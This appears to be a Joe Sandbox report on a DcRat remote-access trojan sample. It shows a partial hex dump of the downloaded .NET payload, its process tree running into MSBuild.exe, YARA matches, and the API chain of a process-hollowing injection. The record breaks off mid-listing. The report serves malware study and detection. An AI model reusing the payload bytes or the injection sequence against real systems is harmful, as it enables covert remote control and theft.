00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELG"0n @ `W H.textt `.rsrc@@.reloc@BPH\|WH3W3(](2{(s%rpor/po%r/pooo(s%rpor;po%rEpooo(V(#s$ o%b~,~o&f~( ,(,(((('((~~ ~!!~""~##~$$~%%~&&~'~(*( [TRUNCATED]
Apr 12, 2025 19:35:14.891154051 CEST	1358	IN	Data Raw: 00 04 2a 1e 02 80 2b 00 00 04 2a 46 02 7b 33 00 00 04 6f 1f 00 00 0a 28 53 00 00 06 2a 2e 73 67 00 00 06 80 36 00 00 04 2a 1a 28 4f 00 00 06 2a 1e 02 7b 3f 00 00 04 2a 22 02 03 7d 3f 00 00 04 2a 1e 02 7b 40 00 00 04 2a 82 02 03 7d 40 00 00 04 02 Data Ascii: +F{3o(S.sg6(O{?"}?{@}@s}=s}>f((ns(l{B"}Bj(s}A({C"}C**{E{D"}Ds}M(s
Apr 12, 2025 19:35:14.891164064 CEST	1358	IN	Data Raw: 2a 56 72 83 20 00 70 7e 71 00 00 04 28 bf 00 00 0a 80 ee 01 00 04 2a 5e 02 28 c8 00 00 0a 03 6f cf 00 00 0a 28 4e 01 00 06 28 57 01 00 0a 2a 5e 28 c8 00 00 0a 02 03 28 c9 00 00 0a 28 50 01 00 06 6f ca 00 00 0a 2a 56 28 18 01 00 0a 72 63 21 00 70 Data Ascii: Vr p~q(^(o(N(W^(((PoV(rc!poB-~+oi0cs%}((ss(+ ((-0as
Apr 12, 2025 19:35:14.891170025 CEST	1358	IN	Data Raw: 28 04 00 00 2b 80 0b 00 00 04 72 55 00 00 70 72 fb 00 00 70 28 05 00 00 2b 80 0c 00 00 04 72 55 00 00 70 72 1d 01 00 70 28 06 00 00 2b 80 0d 00 00 04 72 55 00 00 70 72 3b 01 00 70 28 07 00 00 2b 80 0e 00 00 04 72 55 00 00 70 72 61 01 00 70 28 08 Data Ascii: (+rUprp(+rUprp(+rUpr;p(+rUprap(+rprp(+rUprp(+*0s6% o7% o8(=(<~5o9o:T%:o;~5o9o:T%
Apr 12, 2025 19:35:14.891176939 CEST	1358	IN	Data Raw: 01 28 00 00 02 00 55 00 4a 9f 00 0a 00 00 00 00 00 00 10 00 b4 c4 00 09 02 00 00 01 02 00 08 00 c5 cd 00 0a 00 00 00 00 13 30 05 00 56 01 00 00 05 00 00 11 73 18 00 00 0a 0a 06 02 74 01 00 00 1b 6f 19 00 00 0a 06 72 01 00 00 70 6f 1a 00 00 0a 6f Data Ascii: (UJ0Vstorpoorp(9$rpoorp(-;r!p(-lr7p(-zrKp(:rUp(:(Y,(Zrqpoo[(\rpoo[(\
Apr 12, 2025 19:35:14.891187906 CEST	1358	IN	Data Raw: 07 2c 06 06 28 59 00 00 0a dc 2a 00 00 00 01 10 00 00 02 00 09 00 35 3e 00 0a 00 00 00 00 13 30 03 00 29 00 00 00 09 00 00 11 02 7b 4b 00 00 04 0a 06 0b 07 03 28 7f 00 00 0a 74 20 00 00 02 0c 02 7c 4b 00 00 04 08 07 28 0b 00 00 2b 0a 06 07 33 df Data Ascii: ,(Y5>0){K(t \|K(+30){K(t \|K(+30){L(t \|L(+30){L(t \|L(
Apr 12, 2025 19:35:14.891192913 CEST	1358	IN	Data Raw: 18 28 8e 00 00 0a 12 09 28 88 00 00 0a 11 08 11 19 6f 91 00 00 0a 13 18 12 18 28 76 00 00 0a 28 63 00 00 0a 16 13 1b 11 05 12 0d 28 75 00 00 0a 5a 13 1c 16 13 1d 2b 45 09 12 0d 28 8e 00 00 0a 11 1d 58 5a 11 05 12 0d 28 8f 00 00 0a 5a 58 13 1e 11 Data Ascii: ((o(v(c(uZ+E(XZ(ZXXX(,XX(&X(v29oYo1uo(o(uX(3Go(u(uX (
Apr 12, 2025 19:35:14.891199112 CEST	1358	IN	Data Raw: 04 00 62 00 00 00 00 00 00 00 02 28 17 00 00 0a 02 7e 9b 00 00 0a 03 6a 73 9c 00 00 0a 7d 50 00 00 04 02 02 72 f7 03 00 70 28 ad 00 00 06 7d 51 00 00 04 02 18 73 9d 00 00 0a 7d 52 00 00 04 02 7b 52 00 00 04 6f 9e 00 00 0a 16 02 7b 50 00 00 04 a2 Data Ascii: b(~js}Prp(}Qs}R{Ro{P{Ro~js0.sg{Q{Room,oW"0.(iY+o(,*X1
Apr 12, 2025 19:35:14.891210079 CEST	1358	IN	Data Raw: 7d 62 00 00 04 18 17 1c 73 36 00 00 0a 25 20 00 c8 00 00 6f 37 00 00 0a 25 20 00 c8 00 00 6f 38 00 00 0a 28 be 00 00 06 28 bd 00 00 06 7e 01 00 00 04 6f 39 00 00 0a 6f 3a 00 00 0a 17 8d 54 00 00 01 25 16 1f 3a 9d 6f 3b 00 00 0a 16 9a 7e 01 00 00 Data Ascii: }bs6% o7% o8((~o9o:T%:o;~o9o:T%:o;(<o=(o>9((s?s@sA(((o9o:T%:o; oBj((L
Apr 12, 2025 19:35:14.891222000 CEST	1358	IN	Data Raw: 00 06 de 03 26 de 00 00 7e 70 00 00 04 28 20 00 00 0a 2c 0c 28 1f 01 00 06 2c 05 28 45 01 00 06 de 03 26 de 00 00 7e 66 00 00 04 28 20 00 00 0a 2c 05 28 fe 00 00 06 de 03 26 de 00 28 25 01 00 06 28 1f 01 00 06 2c 05 28 27 01 00 06 de 03 26 de 00 Data Ascii: &~p( ,(,(E&~f( ,(&(%(,('&(-((& (+X-@HW[nr0;(~i(oi
Apr 12, 2025 19:35:15.118050098 CEST	1358	IN	Data Raw: 00 00 0a 6f 3a 00 00 0a 17 8d 54 00 00 01 25 16 1f 3a 9d 6f 3b 00 00 0a 16 9a 14 20 c0 00 00 00 16 6f 42 00 00 0a 1a 6a 28 e5 00 00 06 28 e4 00 00 06 d4 8d 4c 00 00 01 28 e3 00 00 06 16 6a 28 e7 00 00 06 28 1e 01 00 06 28 f8 00 00 06 16 28 f0 00 Data Ascii: o:T%:o; oBj((L(j(((((sCsD ' :oEsD ' :oEsF(sCsF((((i(isGoH&+(&(*AL

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49723	64.233.185.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 12, 2025 19:35:30.059125900 CEST	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 12, 2025 19:35:30.167119026 CEST	1358	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 1739 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 12 Apr 2025 17:10:18 GMT Expires: Sat, 12 Apr 2025 18:00:18 GMT Cache-Control: public, max-age=3000 Age: 1512 Last-Modified: Mon, 07 Apr 2025 13:58:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 06 c7 30 82 05 af 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 57 31 0b 30 09 06 03 55 04 06 13 02 42 45 31 19 30 17 06 03 55 04 0a 13 10 47 6c 6f 62 61 6c 53 69 67 6e 20 6e 76 2d 73 61 31 10 30 0e 06 03 55 04 0b 13 07 52 6f 6f 74 20 43 41 31 1b 30 19 06 03 55 04 03 13 12 47 6c 6f 62 61 6c 53 69 67 6e 20 52 6f 6f 74 20 43 41 17 0d 32 35 30 34 30 37 30 30 30 30 30 30 5a 17 0d 32 35 30 37 31 35 30 30 30 30 30 30 5a 30 82 04 f1 30 2a 02 0b 04 00 00 00 00 01 1e 44 a5 e4 04 17 0d 31 34 31 31 32 35 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2a 02 0b 04 00 00 00 00 01 29 45 c3 a8 0f 17 0d 31 34 31 31 32 35 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2a 02 0b 04 00 00 00 00 01 20 19 c1 8d 68 17 0d 31 34 31 31 32 35 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2a 02 0b 04 00 00 00 00 01 2c 5e 7f 1a 88 17 0d 31 34 31 31 32 35 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2a 02 0b 04 00 00 00 00 01 15 4b 5a [TRUNCATED] Data Ascii: 000H0W10UBE10UGlobalSign nv-sa10URoot CA10UGlobalSign Root CA250407000000Z250715000000Z00D141125000000Z00U0)E141125000000Z00U0 h141125000000Z00U0,^141125000000Z00U0KZ160107000000Z00U0/NIR170419000000Z00U0/NG170419000000Z00U0/N9191120000000Z00U0/N=k191204000000Z00U0*/N;X191204000000Z00U0-Ga7.u200630000000Z00U0-G
Apr 12, 2025 19:35:30.167136908 CEST	1095	IN	Data Raw: 18 9d c0 41 1c 9f 3e 54 68 41 17 0d 32 30 30 36 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2d 02 0e 47 c3 10 00 c0 4b fa 8a 26 54 b7 41 ec 2b 17 0d 32 30 30 36 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 Data Ascii: A>ThA200630000000Z00U0-GK&TA+200630000000Z00U0*6::200711160000Z00U0/vSBS%V>200728000000Z00U0/vSF-Kg>)200728000000Z00U0/vSHqe]c
Apr 12, 2025 19:35:30.173396111 CEST	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 12, 2025 19:35:30.281279087 CEST	1242	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 530 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 12 Apr 2025 17:28:41 GMT Expires: Sat, 12 Apr 2025 18:18:41 GMT Cache-Control: public, max-age=3000 Age: 409 Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 02 0e 30 82 01 93 02 01 01 30 0a 06 08 2a 86 48 ce 3d 04 03 03 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 34 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 17 0d 32 36 30 32 32 38 30 37 35 39 35 39 5a 30 81 e9 30 2f 02 10 6e 47 a9 ce 4f 46 c2 3d e2 49 ea cc 38 94 53 73 17 0d 31 39 30 39 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 f0 9c 5b 70 05 a6 dc 86 e2 f9 9e f3 17 0d 32 30 30 31 33 31 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 fe a5 81 44 7e 3b fd 3b b8 1c 24 98 17 0d 32 33 30 36 31 33 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 16 68 25 e1 70 04 40 61 24 91 f5 40 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 00 8e b2 58 e7 b5 94 0c 1f f9 00 44 17 0d 32 35 30 [TRUNCATED] Data Ascii: 000H=0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R4250403080000Z260228075959Z00/nGOF=I8Ss190930000000Z00U0,[p200131000000Z00U0,D~;;$230613000000Z00U0,h%p@a$@250403080000Z00U0,XD250403080000Z00U/0-0U0U#0LtI6>j0H=i0f1>2en:IN@g=;bQZ~`NX1?^4y[$\4{;$zDeU6O

Target ID:	0
Start time:	13:35:13
Start date:	12/04/2025
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe"
Imagebase:	0xd20000
File size:	472'480 bytes
MD5 hash:	9308044D486D7B3F5FFEE3F41D3F7881
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1176630709.0000000004239000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1176630709.0000000004419000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:35:16
Start date:	12/04/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline"
Imagebase:	0x9e0000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:35:16
Start date:	12/04/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:35:16
Start date:	12/04/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8956.tmp" "c:\Users\user\AppData\Local\Temp\5dljncsi\CSC46F1B711EF3E491E90EFFC96C5EAD74.TMP"
Imagebase:	0x810000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:35:17
Start date:	12/04/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x9d0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2388462794.0000000002D96000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2387305116.00000000010F8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2387305116.0000000001083000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2384955038.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	37
Total number of Limit Nodes:	2

Executed Functions

Function 05672504 Relevance: 2.1, APIs: 1, Instructions: 572
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cadd7ecc132fbf879a7e050e9440eaf3491e086988c0712c109f0d84f392cc3f
Instruction ID: 0fbcd302fdae6f3fa03bdaaf3679d1ea45d1f6611a94c2e39648783203cf9609
Opcode Fuzzy Hash: cadd7ecc132fbf879a7e050e9440eaf3491e086988c0712c109f0d84f392cc3f
Instruction Fuzzy Hash: 9541F736C083898FDB12DFA9C8617CABFF1EF46214F19448BC441EB262D6349919CBA1

Function 05672C54 Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05672E96

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b062c24d783f18cc67323a344ae16b7e0c9650259e3288552fd7569a947a62fe
Instruction ID: 18373d68f56adaaa15f8a8b83cccf898fbb74c0ffe78eae2dea13e7c522242e0
Opcode Fuzzy Hash: b062c24d783f18cc67323a344ae16b7e0c9650259e3288552fd7569a947a62fe
Instruction Fuzzy Hash: 17A17D75D0061D9FEB20CF68C855BEDBBB2BF48310F148169E819A7340DB749A85CF91

Function 05672C60 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05672E96

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a9c4cbb7e19a488913e6329a0de23c9542f3c70f0238943a41f63aec3065e43d
Instruction ID: fcad6f15e1ab5435de67474c253ed9e5c799b1acdae6c3b344febd1046df509e
Opcode Fuzzy Hash: a9c4cbb7e19a488913e6329a0de23c9542f3c70f0238943a41f63aec3065e43d
Instruction Fuzzy Hash: 69916B75D0021D9FEB20CF68C854BEDBBB2BF48310F1481A9E819A7340DB749A85CF91

Function 05672AC2 Relevance: 1.6, APIs: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 05672B48

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 929f4bb4accb62f32cfd2efd7f5096ea0d4c1e866b27fb36e38ca535f141f31e
Instruction ID: 710932c3724a9aec98f517da743c14f6a65deee02ac13f82b057b0723a7178ae
Opcode Fuzzy Hash: 929f4bb4accb62f32cfd2efd7f5096ea0d4c1e866b27fb36e38ca535f141f31e
Instruction Fuzzy Hash: FB214875C003499FDB20CFA9C841BEEBBF1FF48320F10852AE529A7291C7785905CB61

Function 056729D2 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05672A68

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9e8d5f426b285c6fba43e3085ebf96500f438893f466f9b204ade58577104216
Instruction ID: 089d9c423047bf8b0981032f989f7486011e565157d49d190dd7513927924fa0
Opcode Fuzzy Hash: 9e8d5f426b285c6fba43e3085ebf96500f438893f466f9b204ade58577104216
Instruction Fuzzy Hash: 22213375D003499FDB20CFA9C881BEEBBF5FF48310F10842AE919A7241D7789951CBA4

Function 056729D8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05672A68

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d1c19a033746312aa54d0e35652e61e98ce8c22e3b9837af8abc78426271854e
Instruction ID: 8f0eb8946b30cee24d75cfd302ee76ecb5646b8cd32bcab65fa6aad00ac0f89d
Opcode Fuzzy Hash: d1c19a033746312aa54d0e35652e61e98ce8c22e3b9837af8abc78426271854e
Instruction Fuzzy Hash: E5212575D003599FDB20CFAAC881BEEBBF5FF48310F10842AE919A7240D7789955CBA4

Function 05672430 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 056724B6

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5ad7ef4c01f140b3811571830f483b20f5ec20974ddf3df5c0e0213f34176642
Instruction ID: 2e0f2974e0fb8b9c7789f41214b3928374ecaa48d2011cb509eb0bdb6964d3b8
Opcode Fuzzy Hash: 5ad7ef4c01f140b3811571830f483b20f5ec20974ddf3df5c0e0213f34176642
Instruction Fuzzy Hash: EA213475D002098FDB20CFAAC485BEEBBF4AF88320F14852DD419A7641D7789945CFA1

Function 05672438 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 056724B6

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 29d87fa052c3c01b6aae22460af2237f39eb307041803bcb7e6e9aa934a446f2
Instruction ID: 81de6196ee723832395f13513e33c32599e940e92c53d618087656909eae9eb9
Opcode Fuzzy Hash: 29d87fa052c3c01b6aae22460af2237f39eb307041803bcb7e6e9aa934a446f2
Instruction Fuzzy Hash: 09213575D003098FDB20DFAAC485BEEBBF4EF48220F14842AD419A7240CB78A945CFA4

Function 05672AC8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 05672B48

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 2602a8a7cf7cacacea293e2cbe8672a62dc3f66355141519207a4fa09ca50975
Instruction ID: 2795fa9274780c1a42ed4e9a9995b6ae0164a1e4547974ba8a23b7a0131cef8c
Opcode Fuzzy Hash: 2602a8a7cf7cacacea293e2cbe8672a62dc3f66355141519207a4fa09ca50975
Instruction Fuzzy Hash: 65210375C003599FDB10CFAAC881BEEBBF5FF48320F10842AE919A7250C7799951CBA4

Function 05672912 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05672986

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8655a19939e0f7ca0bbd9ac2efad0eae55f5e3c505d553b18aa92dffa17ebcc3
Instruction ID: 469f1b3708578c9205418fc7294c769f842e877a3efc3bdf01ce5a2516aef007
Opcode Fuzzy Hash: 8655a19939e0f7ca0bbd9ac2efad0eae55f5e3c505d553b18aa92dffa17ebcc3
Instruction Fuzzy Hash: 69113675C002498FDB20DFAAC845BDEBBF5FF88310F248419D515A7250C7759911CFA4

Function 05672918 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05672986

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9f0ebb212472a07e09d4bb11ef0a4a55d9dbe74c455535d51cb39e152cb62412
Instruction ID: 262087aa996809aa45815754fc3652a621b1b0f0be3fe8a320d918917e009e95
Opcode Fuzzy Hash: 9f0ebb212472a07e09d4bb11ef0a4a55d9dbe74c455535d51cb39e152cb62412
Instruction Fuzzy Hash: FA112675C003499FDB20DFAAC845BDEFBF5EB88320F148419E519A7250C775A951CFA4

Function 05672380 Relevance: 1.6, APIs: 1, Instructions: 53
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 056723EA

Memory Dump Source

Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5c823091d9b6c9a315a5fa234ce82048b52efa2ed13ee019943be68b241a3c1f
Instruction ID: 5cf507c27d7b152401d31e3070cba0b42f6a1e32a8410ac149c0d7f742df8e25
Opcode Fuzzy Hash: 5c823091d9b6c9a315a5fa234ce82048b52efa2ed13ee019943be68b241a3c1f
Instruction Fuzzy Hash: 72113475C002498FDB20CFAAD845BEEFBF5EB88220F24851DD419A7240C7796945CF95

Function 05672388 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 056723EA

Memory Dump Source

